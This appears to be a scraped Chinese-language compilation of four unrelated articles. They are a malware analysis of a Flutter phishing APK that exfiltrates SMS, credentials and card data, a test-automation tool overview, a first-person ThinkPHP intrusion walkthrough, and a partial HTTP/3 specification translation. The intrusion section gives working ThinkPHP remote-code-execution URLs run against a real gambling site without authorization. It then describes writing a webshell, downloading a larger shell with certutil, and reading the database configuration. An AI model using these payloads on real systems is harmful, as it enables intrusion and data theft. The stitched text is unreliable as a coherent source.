我們沒有與受害者交互的所有步驟的屏幕截圖，因為在撰寫本文時，負責處理從該APK竊取的數據的惡意服務器尚未激活。根據代碼，只有信用卡數據被盜，不需要憑證。

13.png

APK中顯示的釣魚交友網站窗口

所示消息的翻譯如下：

14.png

網絡釣魚網站上顯示的消息翻譯。

技術細節與分析純Android應用程序相比，分析基於flutter的應用程序需要一些中間步驟才能達到目的。

深度分析如上所述，Flutter使用自定義的虛擬環境來支持具有單一代碼庫的多平台開發。開發過程中使用了一種名為Dart的特定編程語言。分析Flutter平台代碼變得更容易了，因為它是一個開源項目，但仍然是一個繁瑣的過程。

15.png

Flutter Github頁面中的Dart演示

讓我們來看看在處理Flutter運行時的特殊領域時遇到的一些複雜情況。我們用哈希2811f0426f23a7a3b6a8d8b7e1bcd79e495026f4dcdc1c2fd218097c98de684解剖了一個APK。

ARM的Flutter運行時使用自己的堆棧指針寄存器（R15）而不是內置的堆棧指針（SP）。哪個寄存器用作堆棧指針在代碼執行或反向工程過程中沒有區別。然而，這對反編譯器來說有很大的不同。由於寄存器的使用不規範，會生成錯誤且難看的偽代碼。

啟動惡意軟件分析的一個好方法是確定與CC服務器的通信協議。這可以說明很多惡意功能。裡面有一個字符串，對應於我們在釣魚電子郵件中看到的網站：

16.png

惡意APK中字符串中CC服務器的地址

然而，當我們試圖找到對此字符串的一些引用時，分析失敗：

17.png

IDA中沒有對CC服務器字符串的引用

我們的目標是創建對該字符串的引用，以定位執行CC通信的代碼。

Flutter -re-demo和reFlutter可以用來處理Flutter應用程序，其主要思想是使用運行時快照來創建Dart對象並查找對它們的引用。 reFlutter的主要目的是收集函數的名稱，而flutter re-demo允許我們處理在應用程序執行期間收集的內存轉儲。

然而，除了內存快照之外，還需要一些更多的運行時信息。 Flutter運行時使用堆來創建對象，並將指向已創建對象的指針存儲在一個稱為對像池的特殊區域中。指向該池的指針被傳遞到寄存器X27中的方法。我們需要找到對像池的位置。

flutter-re-demo使用Frida收集內存轉儲並獲取對像池地址。如果我們使用在flutter-re-demo存儲庫中可用的dump_flutter_memory.js腳本運行APK，我們會看到所需的地址：

18.png

帶有所需地址的Frida腳本輸出

現在我們已經擁有了開始一個高效的逆向工程所需的所有元素。

在用map_dart_vm_memory.py加載轉儲文件並運行create_dart_objects.py腳本後，我們現在至少可以看到一些對象：

19.png

腳本創建的對象

有一個名為create_dart_objects.py的腳本，用於創建dart對象。該腳本通過遍歷對像池、解析記錄和創建對象來工作。腳本沒有關於這些對象的信息，腳本會為它們創建以下描述對象格式的結構：

20.png

這裡的NNN被“class id”取代，如下所示：

21.png

由create_dart_objects.py創建的結構

在Flutter應用程序逆向工程時，研究人員注意到最後一個字段（unk）經常被用作指針。可以考慮將該字段從簡單的QWORD轉換為OFFSET QWORD。這可能會給帶來一些誤報，但也可能非常有助於創建參考。因此，我們決定更改由腳本創建的unkin結構的字段類型。以下是對原始腳本的更改：

23.png

對dart_obj_create.py腳本的更改

研究人員提到的存儲庫包含一個用於創建對Dart對象引用的腳本：add_xref_to_art_objects.py。當運行它時，該腳本會遍歷代碼並創建對create_Dart_objects.py腳本創建的Dart對象的引用。不過此時仍然只有一個對我們感興趣的字符串的引用，即來自對像池的引用：

24.png

沒有對CC服務器URL的引用

我們的第一個想法是，也許根本沒有交叉引用？不過這不可能，存在幾個交叉引用，例如，這個對象就具有引用：

25.png

幾個從函數到對象的引用

這是從函數中引用的對象：

26.png

引用在函數代碼中的外觀

通過瀏覽add_xref_to_dart_objects.py的代碼，我們可以看到文件dart_obj_xref.py。該文件還遍歷代碼，嘗試根據寄存器X27提取對數據的引用，計算這些引用的偏移量，最後創建IDA引用。對代碼的分析表明，原始腳本支持訪問該對象的兩種ARM代碼變體：

27.png

代碼是否使用了一些其他指令來引用寄存器X27？讓我們檢查一下。為了方便起見，讓我們修改腳本，並為用X27處理的每條指令添加一條註釋：

28.png

dart_obj_xref.py修改

然後，我們可以檢查用X27處理的結構的反彙編程序列表，這些構造沒有附加對Dart對象的註釋引用。我們可以通過IDA生成一個列表文件並使用grep實用程序進行grep，從而部分自動化這些操作，如下所示：

29.png

首先，grep查找具有X27的所有字符串。然後，所有這些字符串都給了第二個grep命令，只打印那些不包含對Dart對象引用的字符串。因此，我們只看到不受支持的X27引用。

當檢測到不受支持的X27構造時，我們將在腳本中添加支持該構造的代碼。經過幾次迭代，我們終於獲得了對CC地址字符串的引用：

30.png

對CC地址字符串的引用

讓我們從sub_70FD611C0C開始檢查這些函數。簡要概述顯示，當與CC服務器通信時，此函數打算使用路徑為“/addcontent3”的HTTP POST方法來執行：

31.png

sub_70FD611C0C函數的偽代碼

另一個Dart對像也有對這個函數的引用：

32.png

對Dart對象的引用

當我們遍歷這些引用時，我們最終得到了帶有以下代碼的函數：

33.png

負責監聽所有傳入短信的代碼

此函數為所有傳入的短信安裝一個偵聽器。

為了確保我們做了正確的靜態分析，我們在運行時在一個真實的設備上檢查了這個函數。實際上，我們捕獲了一個發送到CC服務器的POST請求。

這是設備收到帶有“Fdsa”文本的短信後的CC請求示例：

34.png

因此，使用sub_70FD611C0C函數將短信洩露到CC服務器

除了被洩露的數據類型和服務器路徑之外，函數sub_70FD61EBC4和sub_70FD61EECC看起來與已經分析的sub_70FD 611C0C非常相似。這些函數分別使用路徑“/addcontent”和“/addcontent2”，用於洩露受害者的憑據和支付卡信息。

DEX代碼中沒有服務器通信的痕跡，因此我們可以假設所有通信都位於應用程序的Flutter部分。在分析了與命令控制服務器通信相關的所有功能之後，我們可以描述網絡協議。

CC通信CC協議旨在將數據從受攻擊設備發送到服務器。沒有命令可以在相反的方向上發送，即從服務器發送到受攻擊設備。 HTTPS用於傳輸數據，並且使用了幾個終端。

以下是我們在分析樣本中遇到的每個終端的介紹：

35.png

用於約會惡意應用程序的網絡誘餌變體使用了非常相似的協議。這是一個洩露信用卡數據的示例：

HireHackking

測試是創建任何軟件產品不可避免的一部分。但手動測試需要花費大量時間和精力，並且可能導致產品發布延遲。自動化測試可以幫助您提高測試工作的效率並加快解決方案的發布。然而，為了確保自動化測試真正帶來最好的結果，選擇合適的自動化軟件測試工具至關重要。

在本文中，我們簡要概述了我們在Apriorit 實施的測試自動化工具。本文將對QA 專家在他們的項目中尋找正確的方法和自動化測試工具很有用。

什麼是自動化測試？自動化測試是一種使用特殊自動化工具執行回歸測試和單元測試等軟件測試的技術。這種類型的測試與手動測試相反，在手動測試中，測試用例套件由QA 專家手動創建和執行。

自動化測試適用於需要多次重複測試的大型項目，也適用於最初手動測試但需要重新測試的項目。對於短期項目，手動測試更適合，因為它比自動化測試更靈活、更容易實施。您還可以使用手動測試來檢查產品的可用性。

使用軟件工程中的自動化測試工具，您可以比較預期和收到的測試結果，並獲得不同格式的非常詳細的報告。這種方法的一個有用特性是能夠在適當的地方重用測試用例。使用自動化測試，您可以減少手動測試的數量。

測試自動化有什麼好處？讓我們從探索自動化測試相對於手動測試的一些主要優勢開始。了解它們將幫助您了解軟件測試自動化工具是否對您的項目有益。

image.png

自動化測試的優勢

1. 測試速度提升手動測試需要大量的日常工作。相比之下，自動化測試可以讓您在重複性任務上節省大量時間。此外，借助自動化軟件測試工具，您可以全天24 小時執行測試，而無需QA 專家在場並觀察過程。您可以在晚上運行一個腳本，早上就已經有了測試結果。

2. 降低測試成本從長遠來看，自動化降低了測試成本。為應用程序創建測試腳本後，您可以多次重複使用它以發現由於產品更改而出現的錯誤。

3. 提高測試精度自動化測試消除了人為錯誤的可能性。即使是專業的QA 專家也可能會犯無意的錯誤。正確組合的自動化腳本可提供最準確和詳細的測試結果。

4. 更大的測試覆蓋率自動化測試允許您模擬大量用戶在更多設備上的操作，這比手動測試專家在同一時間段內可能涵蓋的範圍要多。產品的測試覆蓋率越高，及時發現潛在錯誤的機會就越大。

5. 早期錯誤檢測確保在引入任何重大更改後測試您的產品。通過這種方式，您可以確保及早發現錯誤和錯誤，並在它們造成嚴重損害之前解決它們。

但是，如果沒有合適的工具，就不可能正確實施自動化測試。在下一節中，我們將討論最佳自動化測試工具的關鍵標準，以幫助您選擇最適合您項目需求的自動化測試工具或框架。

如何選擇最好的自動化測試工具？您可以從確定您對用於軟件測試的自動化工具的要求和評估您團隊的技能開始。然後，您可以根據這些信息評估不同的測試自動化工具和框架及其功能。

image.png

一、項目要求每個項目都是獨一無二的。因此，您應該根據特定項目的要求來選擇最佳的自動化測試工具。對於您的項目，您可以根據要求選擇自動化測試工具，例如：

被測應用類型

支持的平台

支持的瀏覽器

支持的設備

支持的腳本語言

除了這些要求之外，您還可以考慮對測試項目至關重要的其他要求。

二、 QA團隊的編程能力根據QA 團隊的編程技能水平，您需要從兩種類型的自動化測試框架中進行選擇：

無腳本框架。如果您的測試團隊中沒有人具備編程技能，最好使用無腳本框架。選擇特定工具時，請特別注意項目所需的測試複雜程度：可以使用免費工具和服務實施簡單的自動化測試，而具有復雜邏輯的測試可能需要部署付費測試自動化解決方案。

編碼框架。此選項適用於具有強大編程技能的QA 專家。與無腳本替代方案相比，編碼框架更靈活且更易於維護。此外，建議使用編碼框架來測試處理視頻或音頻的產品。當您開始使用編碼框架進行自動化測試時，您將需要花費額外的時間來創建測試用例。但稍後，您將能夠通過重用這些測試用例來節省時間並加快測試過程。

三、CI/CD 集成如果您使用或計劃使用持續集成和持續交付（CI/CD），我們建議您選擇支持CI/CD 解決方案的框架。例如，Jenkins、TeamCity 和Bamboo 等CI/CD 解決方案開箱即用地支持Java、C# 和Python。但是在將這些服務器與其他語言和框架集成時可能會遇到一些困難。

此外，如果您打算使用無腳本框架，值得注意的是並非所有框架都可以與CI/CD 系統集成。

四、報告格式報告是測試自動化框架中最重要的組成部分。完成測試過程後，測試結果報告將幫助您分析應用程序中的所有缺陷。軟件測試中不同的自動化測試工具可以為您提供以下形式的報告：

測試過程視頻記錄

檢測到的錯誤的屏幕截圖

檢測到錯誤的堆棧跟踪

失敗測試步驟的詳細報告

時間報告

根據項目的需要，您可以選擇具有不同報告選項的自動化測試工具。大多數工具都可以創建錯誤和堆棧跟踪的屏幕截圖，並為您提供有關測試時間的信息。但只有少數人可以創建視頻記錄。

視頻記錄可以讓您在測試期間實際看到系統的行為。通過這種方式，您可以花更少的時間來確定特定錯誤的原因。但是視頻錄製會消耗額外的資源，因此由於負載增加，您將能夠運行更少的測試。不過，並非所有測試都需要錄像。例如，在API 測試期間通常不需要視頻報告。

五、工具實施成本雖然測試自動化可以降低測試產品的成本，但實施自動化工具的費用也會有所不同。尤其要注意兩個因素：

框架的成本。有免費產品，但它們的功能往往有限，並不適合所有人。付費產品反過來提供了更多的測試功能，但增加了項目的測試自動化費用。

參與自動化測試過程的專家成本。這可能包括培訓人員使用所選工具執行測試或僱用額外人員在您的項目中實施自動化測試的成本。

這些是為您的項目選擇正確的自動化測試工具的一些關鍵標準。此外，您可以將您的特定要求添加到此列表中。提出最終需求列表後，您可以開始按特定功能比較不同的自動化測試工具。為了讓您更輕鬆地做出選擇，在下一節中，我們將分享Apriorit QA 專家常用的軟件測試自動化工具和框架列表。

5個最好的自動化測試工具市場上有很多自動化軟件測試工具，但並非所有工具都適合您的項目。我們想分享我們在Apriorit 成功使用的自動化測試工具列表。此列表中提供的工具可供不同級別的測試工程師使用，用於測試針對不同平台使用不同語言編寫的產品。

image.png

1. SeleniumSelenium是最流行的自動化網站和Web 應用程序測試框架之一。這個開源框架適合具有高級編程技能的QA 工程師。

Selenium包括幾個組件：

Selenium IDE（集成開發環境）

Selenium RC（遠程控制）

Selenium WebDriver

Selenium Grid

這四個組件有自己的測試自動化方法，因此您可以選擇最適合您目標的方法。

image.png

屏幕截圖1. Selenium 界面

Selenium 是一種靈活的工具，允許您創建用於自動化測試的複雜腳本。您可以使用Selenium 進行跨平台測試。但是，考慮到您可以測試的平台集可能會因您選擇的語言而異。

Selenium 的最大優勢之一是其龐大的社區。如果您在實施此測試工具時需要幫助，您可以輕鬆地從其他Selenium 用戶那裡獲得幫助。

Selenium 可能存在的缺點包括測試支持成本高、初始階段創建測試用例的速度慢以及QA 專家進入門檻高，因為它是一個編碼框架，需要強大的編程技能。

2.SelenideSelenide，一個易於使用的開源Java 測試框架，基於Selenium WebDriver。 Selenide 擴展了Selenium WebDriver和JUnit的功能。在Apriorit，我們使用此工具來快速測試尚未使用自動化工具測試的產品。

image.png

截圖2. Selenide 界面

Selenide 是跨平台的，並且有透明的WebDriver。 WebDriver 幫助您解決超時問題並允許測試Ajax 技術。使用Selenide，您不需要直接操作WebDriver，因為Selenide 控制了瀏覽器。

Selenide 的主要缺點是它只適合使用Java 編寫測試。

3. Telerik Test StudioTelerik Test Studio是軟件測試中的頂級自動化工具之一，可廣泛用於各種測試，包括移動應用程序測試、回歸測試、功能測試和負載測試。雖然它是一個無腳本框架，但您可以在必要時使用編程語言指定它的一些要求。

image.png

截圖3. Telerik Test Studio 界面

Telerik 支持不同的系統，因此非常適合跨平台和跨瀏覽器的應用程序測試。內置記錄器和自動回放允許您對多個測試使用相同的腳本，這有助於您節省時間並提高測試速度。

您可以使用Telerik Test Studio 的試用版30 天。之後，您需要購買許可證。使用Telerik Test Studio，您需要為版本控製配置一個插件。此外，與其他自動化測試工具相比，Telerik 提供了一種不太舒適且更難處理對象屬性的方式。

4.Katalon StudioKatalon Studio是軟件工程中一個相對簡單的自動化測試工具，它使用預定義的工件結構，例如測試用例、測試套件、測試對象和報告。這極大地簡化了QA 專家的任務並加快了測試速度。

image.png

截圖4. Katalon Studio 界面

該框架支持關鍵字驅動的測試。為了創建測試用例，QA 專家使用關鍵字來指示用戶對測試應用程序的操作。除了標準關鍵字外，您還可以添加自定義關鍵字。此功能將幫助編程知識有限的QA 專家更快地創建測試套件。為了更快地執行測試，您還可以使用測試套件集合功能並行或連續運行多個測試套件。

社區小是Katalon Studio 的缺點之一。如果您遇到此框架的問題，您將很難獲得任何支持。其次，您需要購買許可證才能獲得更多功能，因為只有基本功能是免費提供的。

5.TestCompleteTestComplete是一個無腳本框架，還支持多種編程語言。

image.png

截圖5. TestComplete 界面

使用TestComplete 框架，QA 專家可以記錄並在以後回放測試場景，並且可以在不同的測試階段插入檢查點以檢查結果。使用對象識別引擎，TestComplete 可以識別動態界面元素。這對於用戶界面經常變化的應用程序特別有用。

至於TestComplete的缺點，成本高，有一些穩定性問題，缺乏透明的文檔。

測試自動化工具比較在下表中，我們對本文討論的所有五種頂級測試自動化工具進行了比較：

image.png

結論自動化測試使您能夠更快、更準確地處理測試任務。但為了獲得最佳結果，選擇正確的測試工具很重要。沒有適用於所有項目的通用解決方案。選擇合適的工具取決於您的項目要求、您的預算和QA 專家的編程技能。

HireHackking

无意间发现一个thinkphp的菠菜站，最近tp不是刚好有个漏洞吗？

然后就顺手测试了一下，但过程并不太顺利，不过最后还是拿下了，所以特发此文分享下思路。

0x00 一键getshell

简单看了下，应该有不少人玩吧？


ewax4yxhrpi12878.png

正好前几天写了个测试工具，先掏出来测试一发。

工具显示存在漏洞

kbyt2uitzc012879.png

一键getshell，看起来很顺利的样子，哈哈。

kbi5o5t4mss12880.png

但是...小明甩了下头发，发现事情并不简单。

c0omtsa0dzs12881.png

菜刀连接的时候，返回500错误。

xqrljowkjnj12882.png

我们用火狐的hackbar验证下,没毛病啊，那为什么菜刀连接不上呢？

作为菜逼的我不禁陷入了沉思...

3vgbe12kxk212883.png

0x01 开始分析

因为这个工具我自己写的，从上面getshell的图片中发现调用的是第三个exp，那么我们来分析下看看。

poc如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我们在poc后面输入whoami看看权限。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis权限

但是可以执行部分命令，比如echo dir等等。


wfav5dossdw12884.png

0x02 尝试突破拿shell

既然可以执行echo 那么我们可以来尝试写入个小马试试，如果成功的话，再利用小马上传大马，说干就干，苦活来了，我们得一行一行写入进去。

注意：代码中的<>符号，要用^^转义。比如<?php转义为^<^?php

rzla55y042j12885.png

逐行写入完成后，访问的时候发现并不能正常运行，这里忘记截图了。。

接下来尝试用以下方法下载文件到服务器上也失败了。

deuaak4s3dg12886.png

正当我打算放弃的时候，我想起来还有个下载的命令没用。

那就是certutil.exe

说干就干，把大马放到我们服务器上，开启HFS。

然后执行以下命令。

0bhu00byhmz12887.png

成功进入大马，不过别高兴太早。

y1jpypfpbrk12888.png

小明再次甩了下头发，发现事情更不简单....

jmr0my5itg212889.png

大马可以操作文件上传改名等等，但是无法编辑文件，无法查看文件源码等等，点开显示一片空白。

na1o2kvdisf12890.png

既然这样，那么我们进数据库看看吧。

我们都知道tp的数据库配置文件在以下这个位置

/application/database.php

大马是无法打开了，那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php

尝试type读取失败，然后又想到copy命令。

把database.php拷贝到web根目录下，改名为1.txt

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt

拷贝完成以后访问url/1.txt，发现里面是空的。


0x03 成功突破

经历了一系列的失败后，我冷静下来想了下，我们还可以用file_path去读取源码试试。

vmffebwqijj12891.png

用大马上传这个文件到根目录下，然后访问，成功拿到数据库配置信息。

acwotiu3nkb12892.png

然后填写好配置信息，进入数据库。

cpkry1oenud12893.pngpqwvramkm2q12894.png

此文写到这里已经夜深人静，看着桌子上吃了一半的泡面，最后喝了两口汤，关机，睡觉....



转载于原文链接：https://www.jianshu.com/p/1f9b02780f1c


HireHackking

5.3. 立即關閉應用程序HTTP/3實現可以在任何時候立即關閉QUIC連接。這將導致向對等方發送一個QUIC CONNECTION_CLOSE幀，這表明應用層已經終止了連接。此幀中的應用程序錯誤代碼向對等方表明連接被關閉的原因。有關在HTTP/3 中關閉連接時可以使用的錯誤代碼，請參閱第8 節。

在關閉連接之前，可能會發送一個GOAWAY 幀以允許客戶端重試某些請求。將GOAWAY幀包含在與QUIC CONNECTION_CLOSE幀相同的包中可以提高客戶端接收幀的機會。

如果存在未明確關閉的打開流，則在關閉連接時將其悄悄關閉。

5.4. 運輸關閉由於各種原因，QUIC傳輸可以向應用層表明連接已經終止。這可能是由於對等方明確地關閉、傳輸層錯誤或中斷連接的網絡拓撲變化造成的。

如果連接在沒有GOAWAY幀的情況下終止，客戶端必須假定發送的任何請求，無論是全部的還是部分的，都可能已經被處理。

6. 流映射和使用QUIC流提供可靠的字節按順序傳遞，但不保證與其他流上的字節的傳遞順序。在QUIC的版本1中，包含HTTP幀的流數據由QUIC stream幀承載，但是這個幀對HTTP幀層是不可見的。傳輸層對接收到的流數據進行緩沖和排序，向應用程序公開可靠的字節流。雖然QUIC允許在流中無序傳遞，但HTTP/3 並未使用此功能。

QUIC 流可以是單向的，僅從發起者到接收者傳輸數據，也可以是雙向的，雙向傳輸數據。流可以由客戶端或服務器發起。

當通過QUIC 發送HTTP 字段和數據時，QUIC 層處理大部分流管理。使用QUIC 時，HTTP 不需要進行任何單獨的多路復用，通過QUIC 流發送的數據總是映射到特定的HTTP 事務或整個HTTP/3 連接上下文。

6.1雙向流所有客戶端發起的雙向流都用於HTTP請求和響應。雙向流確保響應可以很容易地與請求相關聯。這些流稱為請求流。

這意味著客戶端的第一個請求發生在QUIC流0上，隨後的請求發生在流4、流8等流中。為了允許這些流打開，HTTP/3服務器應該為允許的流數量和初始流控制窗口配置非零的最小值。為了避免不必要地限制並行性，一次至少應該允許100個請求流。

HTTP/3不使用服務器發起的雙向流，儘管擴展可以定義這些流的用途。客戶端必須將接收到服務器發起的雙向流作為H3_STREAM_CREATION_ERROR類型的連接錯誤，除非已經協商了這樣的擴展。

6.2單向流任意一個方向的單向流都可用於不同的用途。其目的由流類型表示，該流類型在流的開頭作為可變長度整數發送。這個整數後面的數據的格式和結構由流類型決定。

1.png

單向流標頭

HTTP/3連接在其生命週期的早期階段的性能對單向流上的數據創建和交換非常敏感。過度限制流的數量或這些流的流控制窗口的終端將增加遠程對等方提前達到限制並被阻止的機會。特別是，實現應該考慮遠程對等方可能希望使用他們被允許使用的一些單向流來執行保留的流行為。

每個終端都需要為HTTP控制流創建至少一個單向流。 QPACK需要兩個額外的單向流，而其他擴展可能需要更多的流。因此，客戶端和服務器端發送的傳輸參數必須允許對等方創建至少三個單向流。這些傳輸參數還應該為每個單向流提供至少1024字節的流量控制信用。

請注意，如果終端在創建關項單向流之前消耗了所有初始信用，則不需要授予額外信用來創建更多單向流。終端應該首先創建HTTP 控制流以及強制擴展所需的單向流（例如QPACK 編碼器和解碼器流），然後在其對等方允許的情況下創建其他流。

如果流標頭是接收方不支持的流類型，則無法使用流的其餘部分，因為語義未知。未知流類型的接收者必須中止讀取流或刪除傳入數據而不進行進一步處理。如果讀取被中止，接收者應該使用H3_STREAM_CREATION_ERROR 錯誤代碼或保留的錯誤代碼。接收者不得將未知流類型視為任何類型的連接錯誤。

由於某些流類型會影響連接狀態，因此接收者不應在讀取流類型之前刪除來自傳入單向流的數據。

實現可以在知道對等方是否支持它們之前發送流類型。但是，可以修改現有協議組件（包括QPACK 或其他擴展）的狀態或語義的流類型，在知道對等方支持它們之前，絕對不能發送。

除非另有說明，否則發送者可以關閉或重置單向流。接收者必須容忍單向流在接收到單向流標頭之前被關閉或重置。

6.2.1 控制流控制流由0x00流類型表示。該流上的數據由HTTP/3幀組成。

每一方必須在連接開始時初始化一個控制流，並將其SETTINGS幀作為該流的第一幀發送。如果控制流的第一幀是任何其他幀類型，則必須作為H3_MISSING_SETTINGS類型的連接錯誤處理。每個對等方只允許一個控制流；接收到第二個聲稱是控制流的流必須作為H3_STREAM_CREATION_ERROR類型的連接錯誤處理。發送方絕對不能關閉控制流，接收方也絕對不能請求發送方關閉控制流。如果任何一個控制流在任何時候被關閉，這必須作為h3_close_critical_stream類型的連接錯誤處理。

由於控制流的內容用於管理其他流的行為，終端應該提供足夠的流控制信用來防止對等方控制流被阻止。

使用一對單向流而不是一個雙向流。這允許任何一方能夠盡快發送數據。根據QUIC連接上是否有0-RTT，客戶端或服務器都可以首先發送流數據。

6.2.2 push stream服務器推送是HTTP/2中引入的一個可選特性，它允許服務器在請求發出之前發起響應。 push stream由流類型0x01指示，後面是它所實現的承諾的Push ID，編碼為可變長度整數。該流上的剩餘數據由HTTP/3幀組成，並通過零個或多個臨時HTTP響應，以及隨後的單個最終HTTP 響應來實現承諾的服務器推送。只有服務器可以推送，如果服務器接收到客戶端發起的push stream，則必須將其視為H3_STREAM_CREATION_ERROR 類型的連接錯誤。

2.png

push stream標頭

客戶端不應在讀取push stream標頭之前中止對push stream的讀取，因為這可能導致客戶端和服務器之間在已使用推送ID 的情況下出現分歧。

每個Push ID只能在push stream標頭中使用一次。如果客戶端檢測到一個push stream標頭包含在另一個push stream標頭中使用的Push ID，客戶端必須將其作為H3_ID_ERROR類型的連接錯誤處理。

6.2.3 保留流類型對於N 的非負整數值，格式為0x1f * N +0x21 的流類型被保留以執行忽略未知類型的要求。這些流沒有語義，可以在需要應用層填充時發送。它們也可以在當前沒有數據傳輸的連接上發送。終端在接收時絕對不能認為這些流有任何意義。

以發送實現選擇的任何方式選擇流的有效負載和長度。當發送保留流類型時，實現可以乾淨地終止流或重置流。當重置流時，應該使用H3_NO_ERROR錯誤碼或保留錯誤碼。

7. HTTP幀層如上所述，HTTP幀在QUIC流上傳輸。 HTTP/3定義了三種流類型：控制流、請求流和push stream。本節介紹HTTP/3 幀格式及其允許的流類型。

3.png

HTTP/3幀和流類型概述

SETTINGS幀只能作為控制流的第一幀出現，從表1(1)中可以看出。請注意，與QUIC幀不同，HTTP/3幀可以跨越多個數據包。

7.1 幀佈局所有幀都具有以下格式：

4.png

HTTP/3幀格式

每個幀包括以下字段：

類型：標識幀類型的可變長度整數。

長度：一個可變長度整數，用於描述幀有效負載的長度（以字節為單位）。

幀載荷：有效負載，其語義由Type 字段確定。

每個幀的有效負載必須準確包含在其描述中標識的字段。在已識別字段之後包含附加字節的幀有效載荷或在已識別字段結束之前終止的幀有效載荷必須被視為H3_FRAME_ERROR 類型的連接錯誤。特別是，冗余長度編碼必須經過驗證是自洽的。

當流完全終止時，如果流上的最後一幀被截斷，則必須將其視為H3_FRAME_ERROR 類型的連接錯誤。突然終止的流可以在幀中的任何點重置。

7.2 幀的定義7.2.1 數據DATA 幀(type=0x00) 傳送與HTTP 請求或響應內容相關的任意可變長度字節序列。

DATA 幀必須與HTTP 請求或響應相關聯。如果在控制流上接收到DATA 幀，接收者必須以H3_FRAME_UNEXPECTED 類型的連接錯誤進行響應。

5.png

數據幀

7.2.2 標頭HEADERS 幀(type=0x01) 用於攜帶使用QPACK 編碼的HTTP 字段部分。

6.png

標頭幀

HEADERS 幀只能在請求流或push stream上發送。如果在控制流上接收到HEADERS 幀，則接收者必須以H3_FRAME_UNEXPECTED 類型的連接錯誤進行響應。

7.2.3 CANCEL_PUSHCANCEL_PUSH 幀（類型=0x03）用於在接收push stream之前請求取消服務器推送。 CANCEL_PUSH 幀通過推送ID（參見第4.6 節）標識服務器推送，編碼為可變長度整數。

當客戶端發送一個CANCEL_PUSH幀時，它表示不希望接收承諾的資源。服務器應該中止發送資源，但是這樣做的機制取決於相應的push stream的狀態。如果服務器還沒有創建push stream，它就不會創建push stream。如果push stream是打開的，服務器應該突然終止該流。如果push stream已經結束，服務器仍然可以突然終止流或不採取任何行動。

服務器發送一個CANCEL_PUSH幀來表明它不會履行先前發送的承諾。客戶端不能期望相應的承諾得到實現，除非它已經接收並處理了承諾的響應。無論是否打開了push stream，當服務器確定承諾不會被履行時，它應該發送一個CANCEL_PUSH 幀。如果流已經打開，服務器可以中止在流上發送，錯誤代碼為H3_REQUEST_CANCELLED。

發送CANCEL_PUSH 幀對現有push stream的狀態沒有直接影響。當客戶端已經接收到相應的push stream時，它不應該發送CANCEL_PUSH 幀。在客戶端發送CANCEL_PUSH 幀後，push stream可能會到達，因為服務器可能尚未處理CANCEL_PUSH。客戶端應該中止讀取流，錯誤代碼為H3_REQUEST_CANCELLED。

在控制流上發送CANCEL_PUSH 幀。在控制流以外的流上接收CANCEL_PUSH 幀必須被視為H3_FRAME_UNEXPECTED 類型的連接錯誤。

7.png

CANCEL_PUSH幀

CANCEL_PUSH 幀攜帶一個編碼為可變長度整數的Push ID。 Push ID字段標識正在被取消的服務器推送。如果接收到的CANCEL_PUSH幀引用了一個大於當前連接允許的push ID，這必須作為H3_ID_ERROR類型的連接錯誤處理。

如果客戶端收到CANCEL_PUSH 幀，則該幀可能會標識由於重新排序而尚未被PUSH_PROMISE 幀提及的推送ID。如果服務器接收到一個尚未被PUSH_PROMISE 幀提及的推送ID 的CANCEL_PUSH 幀，則必須將其視為H3_ID_ERROR 類型的連接錯誤。

7.2.4 設置SETTINGS 幀(type=0x04) 傳遞影響終端通信方式的配置參數，例如對對等行為的偏好和約束。單獨地，一個SETTINGS 參數也可以稱為'setting'；每個SETTINGS參數的標識和值可以稱為“設置標識”和“設置值”。

SETTINGS 幀始終適用於整個HTTP/3 連接，而不是單個流。 SETTINGS 幀必須作為每個控制流的第一幀被每個對等方發送，並且不得隨後發送。如果終端在控制流上接收到第二個SETTINGS 幀，終端必須以H3_FRAME_UNEXPECTED 類型的連接錯誤響應。

SETTINGS 幀不得在控制流以外的任何流上發送。如果終端在不同的流上接收到SETTINGS 幀，終端必須以H3_FRAME_UNEXPECTED 類型的連接錯誤響應。

SETTINGS 參數未協商；它們描述了接收對等方可以使用的發送對等方的特徵。但是，使用SETTINGS 可以暗示協商：每個對等方都使用SETTINGS 來發布一組支持的值。設置的定義將描述每個對等方如何組合這兩個集合以得出將使用哪個選項的結論。 SETTINGS 不提供識別選擇何時生效的機制。

每個對等方可以通告相同參數的不同值。例如，客戶端可能願意使用非常大的響應字段段，而服務器則對請求大小更加謹慎。

相同的設置標識符不能在SETTINGS 幀中出現多次。接收端可以將重複設置標識符的存在視為H3_SETTINGS_ERROR類型的連接錯誤。

SETTINGS幀的有效載荷由零個或多個參數組成。每個參數由一個設置標識符和一個值組成，它們都編碼為QUIC可變長度整數。

8.png

設置幀

一個實現必須忽略任何帶有它不理解的標識符的參數。

7.2.4.1 定義SETTINGS參數HTTP/3 中定義了以下設置：

SETTINGS_MAX_FIELD_SECTION_SIZE (0x06)：

默認值為無限制。

為N 的非負整數值設置格式為0x1f * N +0x21 的標識符被保留以執行忽略未知標識符的要求。此類設置沒有明確的含義。終端應該在其SETTINGS幀中包含至少一個這樣的設置。終端絕對不能認為這些設置在接收時有任何意義。

由於該設置沒有定義的含義，因此該設置的值可以是實現選擇的任何值。

在[HTTP/2]中定義的設置標識符沒有對應的HTTP/3設置也被保留。這些保留的設置絕對不能發送，並且它們的接收必須作為H3_SETTINGS_ERROR類型的連接錯誤處理。

其他設置可以通過HTTP/3 的擴展來定義。

7.2.4.2 初始化HTTP實現絕對不能發送基於當前對對等方設置的理解而無效的幀或請求。

所有設置都從初始值開始。每個終端應該使用這些初始值在對等方的SETTINGS幀到達之前發送消息，因為攜帶設置的數據包可能會丟失或延遲。當SETTINGS幀到達時，任何設置都將被更改為新的值。

這樣就不需要在發送消息之前等待SETTINGS幀。在發送SETTINGS幀之前，終端絕對不能要求從對等方接收任何數據，必須在傳輸準備好發送數據後立即發送設置。

對於服務器，每個客戶端設置的初始值都是默認值。

對於使用1-RTT QUIC連接的客戶端，每個服務器設置的初始值都是缺省值。 1-RTT項在包含設置的包被QUIC處理之前總是可用的，即使服務器立即發送SETTINGS 也是如此。客戶端不應該在發送請求之前無限期地等待SETTINGS 到達，但他們應該處理接收到的數據報以增加在發送第一個請求之前處理SETTINGS 的可能性。

